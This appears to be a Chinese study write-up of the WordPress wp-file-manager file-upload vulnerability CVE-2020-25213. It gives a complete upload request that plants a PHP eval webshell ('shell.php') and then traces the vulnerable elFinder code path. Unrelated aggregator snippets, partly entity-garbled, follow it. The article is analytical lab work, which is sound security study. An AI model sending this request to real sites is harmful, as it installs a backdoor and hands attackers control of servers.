WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

1.漏洞复现

WordPress 6.2

插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org (https://wordpress.org/plugins/wp-file-manager/advanced/)

复现

后台,安装、启动插件

前台,提交请求包:

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

2.逆向分析

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

protected function _save($fp, $dir, $name, $stat)
{$path = $this->_joinPath($dir, $name);$meta = stream_get_meta_data($fp);$uri = isset($meta['uri']) ? $meta['uri'] : '';if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {...if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {

$uri = $meta['uri'],$meta 取决于 $fp

<?php
// stream_get_meta_data语法示例
$fp = fopen('d:/flag.txt', 'r');
$meta = stream_get_meta_data($fp);
echo $meta['uri']; // d:/flag.txt

$path 是 $dir.$name 的拼接结果

这样如果 $fp 打开的一句话木马,并且 $path 为可访问 WEB路径,就可以 GetShell

elFinderVolumeDriver类

elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法

protected function saveCE($fp, $dir, $name, $stat)
{$res = (!$this->encoding) ? $this->_save($fp, $dir, $name, $stat) : $this->convEncOut($this->_save($fp, $this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));

elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法

public function upload($fp, $dst, $name, $tmpname, $hashes = array())
{...$dstpath = $this->decode($dst);...if (($path = $this->saveCE($fp, $dstpath, $name, $stat)) == false) {

$dstpath 和 $name 代表 copy 到的路径,$dstpath 取决于 $dst

查看 decode方法

protected function decode($hash)
{if (strpos($hash, $this->id) === 0) {...return $this->abspathCE($path);}return '';
}

可以看出需要正确的 id 才能得到路径

elFinder类

在 elFinder类 的构造方法可以看到使用了 id

public function __construct($opts)
{...if ($volume->mount($o)) {$id = $volume->id();

在下面添加:

ob_end_flush();
var_dump($id);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id

string(3) "l1_"
string(3) "t1_"
{"error":["errUnknownCmd"]}

其中 l1_ 是可以用的,也就是 $dst 要为 l1_

elFinder类

elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类

elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法

protected function upload($args)
{...if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法

public function __construct($opts)
{...$volume = new $class();

在下面添加:

ob_end_flush();
var_dump($volume);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象

object(elFinderVolumeLocalFileSystem)#4 (61) {
...

再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的

protected function upload($args)
{...$target = $args['target'];...$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();...foreach ($files['name'] as $i => $name) {...$tmpname = $files['tmp_name'][$i];...if (!is_file($tmpname) || ($fp = fopen($tmpname, 'rb')) === false) {...if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

可以看出来都存在 $args 中

elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法

public function exec($cmd, $args)
{$result = $this->$cmd($args);

如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了

elFinderConnector类

elFinderConnector类 的 run方法 调用了 exec方法

public function run()
{...$src = $isPost ? array_merge($_GET, $_POST) : $_GET;...$cmd = isset($src['cmd']) ? $src['cmd'] : '';...foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {...$arg = isset($src[$name]) ? $src[$name] : '';...$args[$name] = $arg;}...$args['FILES'] = $_FILES;...$this->output($this->elFinder->exec($cmd, $args));

可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法

当同时上传文件时,$args['FILES'] 将存储上传的文件的信息

elFinder类

在 elFinder类 可以看到 commandArgsList方法

protected $commands = array(...'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),...public function commandArgsList($cmd)
{if ($this->commandExists($cmd)) {$list = $this->commands[$cmd];$list['reqid'] = false;} else {$list = array();}return $list;
}

思路回到 elFinderConnector类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args['target'] 将等于 l1_

array(18) {["target"]=>string(3) "l1_"...["FILES"]=>array(1) {["upload"]=>array(5) {["name"]=>array(1) {[0]=>string(9) "shell.php"}...["tmp_name"]=>array(1) {[0]=>string(22) "C:\Windows\php147A.tmp"

思路回到 elFinderVolumeLocalFileSystem类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径

connector.minimal.php

connector.minimal.php 调用了 run方法

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

elFinderVolumeLocalFileSystem类

在 $path = $this->_joinPath($dir, $name); 下面添加:

ob_end_flush();
var_dump($path);

提交复现中的请求包,可以看到响应的一句话木马路径:.../wp-content/plugins/wp-file-manager/lib/files/shell.php

本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/17354363.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/77572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分布式系统第五讲:分布式事务及实现方案

分布式系统第五讲&#xff1a;分布式事务及实现方案 事务是一个程序执行单元&#xff0c;里面的所有操作要么全部执行成功&#xff0c;要么全部执行失败。而分布式事务是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上。本…

(二)程序语言设计基础

目录 1. 程序设计语言概述 1.1 基本概念 1.1.1 低级语言和高级语言 1.1.2 编译程序和解释程序 1.1.3 程序设计语言的定义 1.1.4 程序设计语言的分类 1.2 程序设计语言的基本成分 1.2.1 数据成分 1.2.2 运算成分 1.2.3 控制成分 1.2.4 传输成分 1.2.5 函数 2. 语言…

【LeetCode: 1462. 课程表 IV:拓扑排序+图+广度优先搜索】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

现场直击 | 国台国标·中秋礼酒惊艳闪耀酒博会

以酒为媒&#xff0c;以酒会友。 9月9日&#xff0c;以“展示全球佳酿&#xff0c;促进开放合作”为主题的第12届中国&#xff08;贵州&#xff09;国际酒类博览会&#xff08;以下简称“贵州酒博会”&#xff09;在贵阳国际会议展览中心重磅开幕&#xff0c;本届贵州酒博会吸…

狼的传说小游戏

欢迎来到程序小院 狼的传说 玩法&#xff1a; 鼠标左键选择能防御、战斧、风暴3%、滚石10%、藤曼5%、冰柱5%、飞跃10%、三叶草20%、钢叉15%&#xff0c;消灭所有敌人&#xff0c;不同关卡不同敌人&#xff0c;快去闯关消灭敌人吧^^。开始游戏https://www.ormcc.com/play/gameS…

MySQL——读写分离

简介 读写分离&#xff0c;基本的原理是让主数据库处理事务性增、改、删操作&#xff08;INSERT、UPDATE、DELETE&#xff09;&#xff0c;而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库。一般来说都是通过 主从复制&#xff…

得帆云“智改数转,非同帆响”-AIGC+低代码PaaS平台系列白皮书,正式发布!

5月16日下午&#xff0c;由上海得帆信息技术有限公司编写&#xff0c;上海市工业互联网协会指导的以“智改数转&#xff0c;非同帆响”为主题的《得帆云 AIGC低代码PaaS平台系列白皮书》正式在徐汇西岸国际人工智能中心发布。 本次发布会受到了上海市徐汇区政府、各大媒体和业内…

如何实现一个数据库的 UDF?图数据库 NebulaGraph UDF 功能背后的设计与思考

大家好&#xff0c;我是来自 BOSS直聘的赵俊南&#xff0c;主要负责安全方面的图存储相关工作。作为一个从 v1.x 用到 v3.x 版本的忠实用户&#xff0c;在见证 NebulaGraph 发展的同时&#xff0c;也和它一起成长。 BOSS直聘和 NebulaGraph 关于 NebulaGraph 在 BOSS直聘的应…

9.13 | day 6 |day 45| to 完全平方数

● 70. 爬楼梯 &#xff08;进阶&#xff09; class Solution {public int climbStairs(int n) {int[] dp new int[n1];//设置背包容量&#xff1a;n个int m 2;//有两个物品&#xff0c;注意这是一个完全背包问题dp[0] 1;//initialize ​for(int i 1;i<n;i){//遍历背包f…

快速幂 c++

一般大家写都是 int ans 1; for (int i 1; i < a; i )ans * x;时间复杂度 但是这对于我们还不够&#xff0c;我们要 首先我们得知道一个数学知识 那么求 就有以下递归式 a 能被2整除 a 不能被2整除 (这里a/2是整除) 所以每次都调用 不就是么 最后补充一个东西…

.net core 上传文件大小限制

微软官网文档中给的解释是.net core 默认上传文件大小限制是30M&#xff0c;所以即便你项目里没有限制&#xff0c;这里也有个默认限制。 官网链接地址 总结了一下解决办法&#xff1a; 1.首先项目里添加一个web.config自定义配置文件 在配置文件中加上这段配置 <!--//…

Anomalib实战之一:自定义数据集

Anomalib支持多种格式的数据集&#xff0c;包括MVTec AD和BeanTech等最先进的异常检测基准数据集。对于希望在自定义数据集上使用该库的用户&#xff0c;anomalib还提供了一个Folder datamodule&#xff0c;可以从文件系统的文件夹中加载数据集。本文的目的是使用Folder datamo…

SQL 注入漏洞攻击

文章目录 1. 介绍2. 无密码登录3. 无用户名无密码登录4. 合并表获取用户名密码 1. 介绍 假设你用自己的用户名和密码登录了一个付费网站&#xff0c;网站服务器就会查询一下你是不是 VIP 用户&#xff0c;而用户数据都是放在数据库中的&#xff0c;服务器通常都会向数据库进行查…

SprimgMVC增删改查·

1.项目创建 在IDEA创建一个maven项目 2.项目依赖 pom.xml <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://maven.ap…

二维多孔介质图像的粒度分布研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

(echarts)解决echarts图表适配窗口的大小

(echarts)解决echarts图表适配窗口的大小 解决方法&#xff1a; // 为窗口加上宽度变化事件&#xff0c;当宽高发生改变时&#xff0c;调用echarts的resize()方法&#xff0c;调整图表尺寸 window.addEventListener("resize", function () {myChart.resize(); });示…

什么是“path”环境变量?path的作用是什么?

必应回答&#xff1a; path的作用是指定系统在执行命令或程序时&#xff0c;可以在哪些文件夹中查找。path是一种环境变量&#xff0c;它的值是由多个文件夹路径组成的&#xff0c;用分号分隔。例如&#xff0c;如果path的值是C:\Windows;C:\Python;C:\Program Files\Java\bin…

Gartner 2023API管理市场指南重磅发布,得帆云iPaaS标杆入榜

中国API管理-市场指南 Market Guide for API Management, China 是由全球最具权威的IT咨询与研究机构Gartner发布、聚焦中国API管理市场领域的专业研究报告&#xff0c;通过对市场概况以及代表厂商的分析&#xff0c;为企业决策者提供重要依据与参考。 得帆云iPaaS融合集成平台…

FPGA-结合协议时序实现UART收发器(四):串口驱动模块uart_drive、例化uart_rx、uart_tx

FPGA-结合协议时序实现UART收发器&#xff08;四&#xff09;&#xff1a;串口驱动模块uart_drive、例化uart_rx、uart_tx 串口驱动模块uart_drive、例化uart_rx、uart_tx&#xff0c;功能实现 文章目录 FPGA-结合协议时序实现UART收发器&#xff08;四&#xff09;&#xff1…

蓝桥杯官网练习题(灌溉)

题目描述 小蓝负责花园的灌溉工作。 花园可以看成一个 n 行 m 列的方格图形。中间有一部分位置上安装有出水管。 小蓝可以控制一个按钮同时打开所有的出水管&#xff0c;打开时&#xff0c;有出水管的位置可以被认为已经灌溉好。 每经过一分钟&#xff0c;水就会向四面扩展…